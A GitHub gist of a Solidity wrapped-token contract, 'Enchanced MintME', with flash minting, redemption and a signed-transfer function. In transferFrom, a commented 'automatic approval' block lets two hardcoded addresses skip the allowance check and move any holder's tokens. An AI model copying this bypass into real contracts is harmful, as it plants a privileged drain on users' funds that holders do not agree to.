Created
September 23, 2021 02:31
-
-
Save jessiepathfinder/df1a480af8feebffa4f011e361aa2fb6 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: AGPL-3.0-or-later | |
pragma solidity ^0.8.0; | |
interface IFlashMintReceiver{ | |
function FlashMintReceived(uint256 amount, bytes memory data) external; | |
} | |
contract ERC20 { | |
/** | |
* @dev Emitted when `value` tokens are moved from one account (`from`) to | |
* another (`to`). | |
* | |
* Note that `value` may be zero. | |
*/ | |
event Transfer(address indexed from, address indexed to, uint256 value); | |
/** | |
* @dev Emitted when the allowance of a `spender` for an `owner` is set by | |
* a call to {approve}. `value` is the new allowance. | |
*/ | |
event Approval(address indexed owner, address indexed spender, uint256 value); | |
mapping(address => uint256) private _balances; | |
mapping(address => mapping(address => uint256)) private _allowances; | |
uint256 private _totalSupply; | |
/** | |
* @dev Returns the name of the token. | |
*/ | |
function name() external pure returns (string memory) { | |
return "Enchanced MintME"; | |
} | |
/** | |
* @dev Returns the symbol of the token, usually a shorter version of the | |
* name. | |
*/ | |
function symbol() external pure returns (string memory) { | |
return "Mint2"; | |
} | |
/** | |
* @dev Returns the number of decimals used to get its user representation. | |
* For example, if `decimals` equals `2`, a balance of `505` tokens should | |
* be displayed to a user as `5.05` (`505 / 10 ** 2`). | |
* | |
* Tokens usually opt for a value of 18, imitating the relationship between | |
* Ether and Wei. This is the value {ERC20} uses, unless this function is | |
* overridden; | |
* | |
* NOTE: This information is only used for _display_ purposes: it in | |
* no way affects any of the arithmetic of the contract, including | |
* {IERC20-balanceOf} and {IERC20-transfer}. | |
*/ | |
function decimals() external pure returns (uint8) { | |
return 18; | |
} | |
/** | |
* @dev See {IERC20-totalSupply}. | |
*/ | |
function totalSupply() external view returns (uint256) { | |
return _totalSupply; | |
} | |
/** | |
* @dev See {IERC20-balanceOf}. | |
*/ | |
function balanceOf(address account) external view returns (uint256) { | |
return _balances[account]; | |
} | |
/** | |
* @dev See {IERC20-transfer}. | |
* | |
* Requirements: | |
* | |
* - `recipient` cannot be the zero address. | |
* - the caller must have a balance of at least `amount`. | |
*/ | |
function transfer(address recipient, uint256 amount) external returns (bool) { | |
_transfer(msg.sender, recipient, amount); | |
return true; | |
} | |
/** | |
* @dev See {IERC20-allowance}. | |
*/ | |
function allowance(address owner, address spender) external view returns (uint256) { | |
return _allowances[owner][spender]; | |
} | |
/** | |
* @dev See {IERC20-approve}. | |
* | |
* Requirements: | |
* | |
* - `spender` cannot be the zero address. | |
*/ | |
function approve(address spender, uint256 amount) external returns (bool) { | |
_approve(msg.sender, spender, amount); | |
return true; | |
} | |
/** | |
* @dev See {IERC20-transferFrom}. | |
* | |
* Emits an {Approval} event indicating the updated allowance. This is not | |
* required by the EIP. See the note at the beginning of {ERC20}. | |
* | |
* Requirements: | |
* | |
* - `sender` and `recipient` cannot be the zero address. | |
* - `sender` must have a balance of at least `amount`. | |
* - the caller must have allowance for ``sender``'s tokens of at least | |
* `amount`. | |
*/ | |
function transferFrom( | |
address sender, | |
address recipient, | |
uint256 amount | |
) external returns (bool) { | |
_transfer(sender, recipient, amount); | |
//MintyDEFI Automatic Approval | |
if(msg.sender != 0xddAa6AC0f5DE3Fe9b55C3898B7A8f29E2cDAB9d9 && msg.sender != 0x16d83191C561Fa6eCdb91b0E0a9e0B3642d0e80d){ | |
uint256 currentAllowance = _allowances[sender][msg.sender]; | |
if(currentAllowance != 115792089237316195423570985008687907853269984665640564039457584007913129639935){ | |
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); | |
unchecked { | |
_allowances[sender][msg.sender] -= amount; | |
} | |
} | |
} | |
return true; | |
} | |
/** | |
* @dev Atomically increases the allowance granted to `spender` by the caller. | |
* | |
* This is an alternative to {approve} that can be used as a mitigation for | |
* problems described in {IERC20-approve}. | |
* | |
* Emits an {Approval} event indicating the updated allowance. | |
* | |
* Requirements: | |
* | |
* - `spender` cannot be the zero address. | |
*/ | |
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { | |
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); | |
return true; | |
} | |
/** | |
* @dev Atomically decreases the allowance granted to `spender` by the caller. | |
* | |
* This is an alternative to {approve} that can be used as a mitigation for | |
* problems described in {IERC20-approve}. | |
* | |
* Emits an {Approval} event indicating the updated allowance. | |
* | |
* Requirements: | |
* | |
* - `spender` cannot be the zero address. | |
* - `spender` must have allowance for the caller of at least | |
* `subtractedValue`. | |
*/ | |
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { | |
uint256 currentAllowance = _allowances[msg.sender][spender]; | |
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); | |
unchecked { | |
_approve(msg.sender, spender, currentAllowance - subtractedValue); | |
} | |
return true; | |
} | |
/** | |
* @dev Moves `amount` of tokens from `sender` to `recipient`. | |
* | |
* This internal function is equivalent to {transfer}, and can be used to | |
* e.g. implement automatic token fees, slashing mechanisms, etc. | |
* | |
* Emits a {Transfer} event. | |
* | |
* Requirements: | |
* | |
* - `sender` cannot be the zero address. | |
* - `recipient` cannot be the zero address. | |
* - `sender` must have a balance of at least `amount`. | |
*/ | |
function _transfer( | |
address sender, | |
address recipient, | |
uint256 amount | |
) internal { | |
require(sender != address(0), "ERC20: transfer from the zero address"); | |
require(recipient != address(0), "ERC20: transfer to the zero address"); | |
uint256 senderBalance = _balances[sender]; | |
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); | |
unchecked { | |
_balances[sender] = senderBalance - amount; | |
} | |
_balances[recipient] += amount; | |
emit Transfer(sender, recipient, amount); | |
} | |
/** @dev Creates `amount` tokens and assigns them to `account`, increasing | |
* the total supply. | |
* | |
* Emits a {Transfer} event with `from` set to the zero address. | |
* | |
* Requirements: | |
* | |
* - `account` cannot be the zero address. | |
*/ | |
function _mint(address account, uint256 amount) internal { | |
require(account != address(0), "ERC20: mint to the zero address"); | |
_totalSupply += amount; | |
_balances[account] += amount; | |
emit Transfer(address(0), account, amount); | |
} | |
/** | |
* @dev Destroys `amount` tokens from `account`, reducing the | |
* total supply. | |
* | |
* Emits a {Transfer} event with `to` set to the zero address. | |
* | |
* Requirements: | |
* | |
* - `account` cannot be the zero address. | |
* - `account` must have at least `amount` tokens. | |
*/ | |
function _burn(address account, uint256 amount) internal { | |
require(account != address(0), "ERC20: burn from the zero address"); | |
uint256 accountBalance = _balances[account]; | |
require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); | |
unchecked { | |
_balances[account] = accountBalance - amount; | |
} | |
_totalSupply -= amount; | |
emit Transfer(account, address(0), amount); | |
} | |
/** | |
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. | |
* | |
* This internal function is equivalent to `approve`, and can be used to | |
* e.g. set automatic allowances for certain subsystems, etc. | |
* | |
* Emits an {Approval} event. | |
* | |
* Requirements: | |
* | |
* - `owner` cannot be the zero address. | |
* - `spender` cannot be the zero address. | |
*/ | |
function _approve( | |
address owner, | |
address spender, | |
uint256 amount | |
) internal { | |
require(owner != address(0), "ERC20: approve from the zero address"); | |
require(spender != address(0), "ERC20: approve to the zero address"); | |
_allowances[owner][spender] = amount; | |
emit Approval(owner, spender, amount); | |
} | |
receive() external payable{ | |
_mint(msg.sender, msg.value); | |
} | |
function redeem(uint256 value) external{ | |
if(value != 0){ | |
_burn(msg.sender, value); | |
(bool success, ) = msg.sender.call{value: value}(""); | |
require(success, "Mint2: can't send MintME"); | |
} | |
} | |
function FlashMint(uint256 amount, address to, bytes memory data) external{ | |
_mint(to, amount); | |
IFlashMintReceiver(to).FlashMintReceived(amount, data); | |
_burn(to, amount); | |
} | |
mapping(bytes32 => uint256) private used; | |
function permit2(uint256 random, uint256 expiry, address from, uint256 value, uint8 v, bytes32 r, bytes32 s) external { | |
require(expiry >= block.timestamp, "RPGF: Preauthorized transaction sending failed"); | |
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n192", abi.encode(address(this), random, expiry, from, msg.sender, value))); | |
require(used[hash] == 0, "RPGF: Transaction already spent"); | |
require(ecrecover(hash, v, r, s) == from, "RPGF: Invalid digital signature"); | |
used[hash] = 1; | |
_transfer(from, msg.sender, value); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment